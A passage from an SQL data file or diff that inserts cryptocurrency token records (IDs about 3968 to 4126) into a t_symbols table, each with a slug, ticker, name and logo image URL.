'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/no-bs-crypto.png', NULL); +INSERT INTO `t_symbols` VALUES (3968, 'seetoken', 'SEE', 'seetoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3969, 'stm', 'STM', 'Stream', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3970, 'trad', 'TRAD', 'Tradcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trad.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3971, 'xrt', 'XRT', 'THE X-FACTOR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3972, 'butterfly', 'BK', 'Butterfly Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/butterfly.png', NULL); +INSERT INTO `t_symbols` VALUES (3973, 'staramba-token', 'STT', 'STARAMBA.Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staramba-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3974, 'mangacoin', 'MANGA', 'MangaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mangacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3975, 'nzed', 'NZDT', 'NZed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nzed.png', NULL); +INSERT INTO `t_symbols` VALUES (3976, 'six-farm', 'SAM', 'Six Farm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/six-farm.png', NULL); +INSERT INTO `t_symbols` VALUES (3977, 'btc-biz', 'BTCBZ', 'BTC BIZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-biz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3978, 'domocoin', 'DOMO', 'DOMO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/domocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3979, 'blockonix-token', 'BDT', 'Blockonix Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockonix-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3980, 'litkoin', 'LTK', 'LitKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litkoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3981, 'zoptax', 'ZPT', 'Zoptax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zoptax.png', NULL); +INSERT INTO `t_symbols` VALUES (3982, 'yfbeta', 'TFBETA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3983, 'pddim', 'PDD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pddim.png', NULL); +INSERT INTO `t_symbols` VALUES (3984, 'tapio', 'TAI', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1458282461037674496.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3985, 'ccdx-token', 'CCDX', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1603324534941224960.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3986, 'atidium', 'ATD', 'ATIDIUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atidium.png', NULL); +INSERT INTO `t_symbols` VALUES (3987, 'bitcoin-clean', 'BCL', 'Bitcoin Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-clean.png', NULL); +INSERT INTO `t_symbols` VALUES (3988, 'cmitcoin', 'CMIT', 'CMITCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3989, 'ebsp', 'EBSP', 'EBSP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebsp.png', NULL); +INSERT INTO `t_symbols` VALUES (3990, 'gamebet', 'GBT', 'GameBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamebet.png', NULL); +INSERT INTO `t_symbols` VALUES (3991, 'pgc', 'PGC', 'Pegascoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pgc.png', NULL); +INSERT INTO `t_symbols` VALUES (3992, 'segwit2x', 'B2X', 'SegWit2x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/segwit2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3993, 'stockchain', 'SCC', 'StockChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stockchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3994, 'bitagora', 'BAG', 'Bitagora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitagora.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3995, 'anarchy-token', 'ANAR', 'Anarchy token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anarchy-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3996, 'equaliser', 'EQLI', 'Equaliser', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equaliser.png', NULL); +INSERT INTO `t_symbols` VALUES (3997, 'zethereum', 'ZETH', 'Zethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zethereum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3998, 'elphyrecoin', 'ELPH', 'Elphyrecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elphyrecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3999, 'biggame', 'BG', 'EOS Big Game', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biggame.png', NULL); +INSERT INTO `t_symbols` VALUES (4000, 'luckybit', 'LUCKY', 'LuckyBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckybit.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4001, 'zeto', 'ZTC', 'ZeTo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4002, 'level01-token', 'LVX', 'Level01', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/level01-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4003, 'springrolltoken', 'SPRINGROLL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/springrolltoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4004, 'seor', 'SEOR', 'SEOR Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/seor.png', NULL); +INSERT INTO `t_symbols` VALUES (4005, 'folksfinance', 'FOLKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/folksfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (4006, 'shm', 'SHM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1468623809347469319.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4007, 'viide', 'VII', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1509709933570568193.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4008, 'aba', 'ABA', 'EcoBall', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aba.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4009, 'bitcoin-crown', 'BTCC', 'Bitcoin Crown', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-crown.png', NULL); +INSERT INTO `t_symbols` VALUES (4010, 'dangx', 'DANGX', 'DANGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dangx.png', NULL); +INSERT INTO `t_symbols` VALUES (4011, 'intimate', 'ITM', 'Intimate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intimate.png', NULL); +INSERT INTO `t_symbols` VALUES (4012, 'virtualtoken', 'VIR', 'VirtualToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtualtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4013, 'chinese-medicine-chain', 'CTM', 'Chinese Medicine Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chinese-medicine-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (4014, 'all-bit-gambling-shares-chain', 'ABGS', 'ABGS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-bit-gambling-shares-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (4015, 'bitcoingenx', 'BGX', 'BitcoinGenX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoingenx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4016, 'libertad-venezolana', 'LVEN', 'Libertad Venezolana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libertad-venezolana.png', NULL); +INSERT INTO `t_symbols` VALUES (4017, 'zent-cash', 'ZTC', 'Zent Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zent-cash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4018, 'duckiemultimetaversetoken', 'MMETA', 'Duckie Land Multi Metaverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/duckieland.png', NULL); +INSERT INTO `t_symbols` VALUES (4019, 'somafinance', 'SOMA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/somafinance.png', NULL); +INSERT INTO `t_symbols` VALUES (4020, 'evo', 'EVO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/evoverses.png', NULL); +INSERT INTO `t_symbols` VALUES (4021, 'tonsnipe', 'TNS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1601547110104662022.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4022, 'btch', 'BTCH', 'Bitcoin Hush', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btch.png', NULL); +INSERT INTO `t_symbols` VALUES (4023, 'gamechain', 'GCS', 'GameChain System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamechain.png', NULL); +INSERT INTO `t_symbols` VALUES (4024, 'helleniccoin', 'HNC', 'HNC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helleniccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4025, 'mic', 'MIC', 'mic', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4026, 'nobless', 'NBL', 'nobless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nobless.png', NULL); +INSERT INTO `t_symbols` VALUES (4027, 'quotient', 'XQN', 'Quotient', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quotient.png', NULL); +INSERT INTO `t_symbols` VALUES (4028, 'trade-token-x', 'TIOX', 'Trade Token X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trade-token-x.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4029, 'tantalum', 'TK', 'Tantalum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tantalum.png', NULL); +INSERT INTO `t_symbols` VALUES (4030, 'uss', 'USS', 'USS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uss.png', NULL); +INSERT INTO `t_symbols` VALUES (4031, 'trinity', 'TTY', 'Trinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trinity.png', NULL); +INSERT INTO `t_symbols` VALUES (4032, 'etor', 'ETOR', 'etor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etor.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4033, 'nodium', 'XN', 'Nodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nodium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4034, 'bithold', 'BHD', 'Bithold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4035, 'lives-token', 'LVT', 'Lives Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lives-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4036, 'bgx-ai', 'BGX', 'BGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bgx-ai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4037, 'daosquaregovernancetoken', 'RICE', 'DAOSquare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/daosquare.png', NULL); +INSERT INTO `t_symbols` VALUES (4038, 'animalia', 'ANIM', 'Animalia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/animalia.png', NULL); +INSERT INTO `t_symbols` VALUES (4039, 'heroesofmavia', 'MAVIA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroesofmavia.png', NULL); +INSERT INTO `t_symbols` VALUES (4040, 'anv', 'ANV', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aniverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4041, 'd2t', 'D2T', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1566679287641546752.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4042, 'atlas-token', 'ATLS', 'Atlas Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4043, 'bitcoin-faith', 'BTF', 'Bitcoin Faith', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-faith.png', NULL); +INSERT INTO `t_symbols` VALUES (4044, 'btcmoon', 'BTCM', 'BTCMoon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcmoon.png', NULL); +INSERT INTO `t_symbols` VALUES (4045, 'europecoin', 'ERC', 'EuropeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EuropecoinEUORG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4046, 'gamecity', 'GMCI', 'Game City', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4047, 'node-provide-community', 'NPC', 'node-provide-community', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4048, 'storjcoin-x', 'SJCX', 'Storjcoin X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storjcoin-x.png', NULL); +INSERT INTO `t_symbols` VALUES (4049, 'izetex', 'IZX', 'IZX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/izetex.png', NULL); +INSERT INTO `t_symbols` VALUES (4050, 'gravel-coin', 'GRVC', 'Gravel Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravel-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4051, 'genom', 'GENOM', 'Genom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genom.png', NULL); +INSERT INTO `t_symbols` VALUES (4052, 'lunarx', 'LX', 'LunarX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunarx.png', NULL); +INSERT INTO `t_symbols` VALUES (4053, 'b2b-coin', 'B2B', 'B2Bcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2b-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (4054, 'dragonbit', 'DRGB', 'Dragonbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonbit.png', NULL); +INSERT INTO `t_symbols` VALUES (4055, 'ertha', 'ERTHA', 'Ertha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ertha.png', NULL); +INSERT INTO `t_symbols` VALUES (4056, 'globalcoinresearch', 'GCR', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gcrdao.png', NULL); +INSERT INTO `t_symbols` VALUES (4057, 'battlemonster', 'BMG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/battlemonster.png', NULL); +INSERT INTO `t_symbols` VALUES (4058, 'metawear', 'WEAR', 'MetaWear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metawear.png', NULL); +INSERT INTO `t_symbols` VALUES (4059, 'precog-finance', 'PCOG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1402279532787343366.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4060, 'atmatrix', 'ATT', 'atmatrix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atmatrix.png', NULL); +INSERT INTO `t_symbols` VALUES (4061, 'bitcoin-god', 'GOD', 'Bitcoin God', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-god.png', NULL); +INSERT INTO `t_symbols` VALUES (4062, 'dapchain', 'DAP', 'DAPchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapchain.png', NULL); +INSERT INTO `t_symbols` VALUES (4063, 'eusd', 'EUSD', 'EOS Stablecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eusd.png', NULL); +INSERT INTO `t_symbols` VALUES (4064, 'tremiss', 'STS', 'TREMISS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tremiss.png', NULL); +INSERT INTO `t_symbols` VALUES (4065, 'turbogold', 'TBG', 'Turbogold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turbogold.png', NULL); +INSERT INTO `t_symbols` VALUES (4066, 'bizpaye', 'CRYPTO', 'BIZpaye', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bizpaye.png', NULL); +INSERT INTO `t_symbols` VALUES (4067, 'xeuro', 'XEURO', 'XEuro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xeuro.png', NULL); +INSERT INTO `t_symbols` VALUES (4068, 'placeholders', 'PHL', 'Placeholders', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/placeholders.png', NULL); +INSERT INTO `t_symbols` VALUES (4069, 'binpay', 'BIN', 'Bin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binpay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4070, 'cryptobolt', 'BOLT', 'BOLT Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptobolt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4071, 'enumivo', 'EIDOS', 'EIDOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enumivo.png', NULL); +INSERT INTO `t_symbols` VALUES (4072, 'penguinkarts', 'PGK', 'Penguin Karts', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/penguinkarts.png', NULL); +INSERT INTO `t_symbols` VALUES (4073, 'atta', 'ATTA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/atta.png', NULL); +INSERT INTO `t_symbols` VALUES (4074, 'cnp', 'CNP', 'Cryptonia Poker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4075, 'eva', 'EVA', 'Eva Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eva.png', NULL); +INSERT INTO `t_symbols` VALUES (4076, 'help-the-homeless-coin', 'HTH', 'Help The Homeless Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/help-the-homeless-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4077, 'trakinvest', 'TRAK', 'TrakInvest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trakinvest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4078, 'xtrd', 'XTRD', 'XTRD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4079, 'openweb-token', 'OWT', 'OpenWeb Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/openweb-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4080, 'hazza', 'HAZ', 'Hazza', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hazza.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4081, 'initial-point-unit-x', 'IPUX', 'Initial Point Unit X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/initial-point-unit-x.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4082, 'gsmcoin', 'GSM', 'GSMcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gsmcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4083, 'relax-buddy-token', 'RBPC', 'Relax Buddy Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/relax-buddy-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4084, 'binarium', 'BIN', 'Binarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binarium.png', NULL); +INSERT INTO `t_symbols` VALUES (4085, 'lexit', 'LEXI', 'LEXIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lexit.png', NULL); +INSERT INTO `t_symbols` VALUES (4086, 'candy-one', 'CANDY', 'Candy Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/candy-one.png', NULL); +INSERT INTO `t_symbols` VALUES (4087, 'endlessbattlefield', 'EB', 'Endless Battlefield', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/endlessbattlefield.png', NULL); +INSERT INTO `t_symbols` VALUES (4088, 'h2on', 'H2ON', 'H2O Securities', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/h2osecurities.png', NULL); +INSERT INTO `t_symbols` VALUES (4089, 'space-kill', 'SKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1546390676274831362.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4090, 'abdt', 'ABDT', 'abdt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abdt.png', NULL); +INSERT INTO `t_symbols` VALUES (4091, 'atmcoin', 'ATMC', 'ATMCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/atmcoinoficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4092, 'dapper', 'DAPP', 'DapperCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapper.png', NULL); +INSERT INTO `t_symbols` VALUES (4093, 'evacash', 'EVC', 'EvaCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evacash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4094, 'helper-search-token', 'HSN', 'Helper Search Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helper-search-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4095, 'nofaketoday', 'NFC', 'No Fake Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nofaketoday.png', NULL); +INSERT INTO `t_symbols` VALUES (4096, 'phc', 'PHC', 'phc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4097, 'xtrl', 'XTRL', 'TurkeyEnergyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4098, 'touristoken', 'TOU', 'TOURISTOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touristoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4099, 'bokocloud', 'BOPO', 'BopoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bokocloud.png', NULL); +INSERT INTO `t_symbols` VALUES (4100, 'voucher-coin', 'VCO', 'Voucher Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voucher-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (4101, 'bitmoney', 'BIT', 'BitMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmoney.png', NULL); +INSERT INTO `t_symbols` VALUES (4102, 'eusdtoken', 'EUSD', 'eUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eusdtoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4103, 'fair-efficient-business', 'FEB', 'FEB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fair-efficient-business.png', NULL); +INSERT INTO `t_symbols` VALUES (4104, 'adroverse', 'ADR', 'Adroverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/adroverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4105, 'edverse', 'EDV', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/edverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4106, 'dappster', 'DLISK', 'DAPPSTER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dappster.png', NULL); +INSERT INTO `t_symbols` VALUES (4107, 'helptoken', 'HELP', 'HELP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helptoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4108, 'lhcoin', 'LHCOIN', 'LHCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lhcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4109, 'qyno', 'QNO', 'QYNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qyno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4110, 'senno', 'SENNO', 'SENNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/senno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4111, 'xtx', 'XTX', 'Xtock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4112, 'cloudquotientchain', 'CQC', 'cloudquotientchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cloudquotientchain.png', NULL); +INSERT INTO `t_symbols` VALUES (4113, 'amero', 'AMX', 'Amero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amero.png', NULL); +INSERT INTO `t_symbols` VALUES (4114, 'bytechcoin', 'BYTC', 'BytechCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytechcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4115, 'transparent-game-value-broadcast-network', 'TVB', 'Transparent Game-Value Broadcast Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transparent-game-value-broadcast-network.png', NULL); +INSERT INTO `t_symbols` VALUES (4116, 'bitrewards-token', 'BIT', 'BitRewards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrewards-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4117, 'mad-network-token', 'MAD', 'MADNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mad-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4118, 'dalong-token', 'DLT', 'Dalong Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dalong-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4119, 'mdukey', 'MDU', 'MDUKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdukey.png', NULL); +INSERT INTO `t_symbols` VALUES (4120, 'blackfridge', 'GBPT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blackfridge.png', NULL); +INSERT INTO `t_symbols` VALUES (4121, 'scrimmage', 'SCRIM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1102556804.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4122, 'bitcoin-hot', 'BTH', 'Bitcoin Hot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hot.png', NULL); +INSERT INTO `t_symbols` VALUES (4123, 'coa', 'COA', 'Volcanomae', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coa.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4124, 'echoin', 'EC', 'Echoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/echoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4125, 'philosafe-token', 'PLST', 'Philosafe Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/philosafe-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4126, 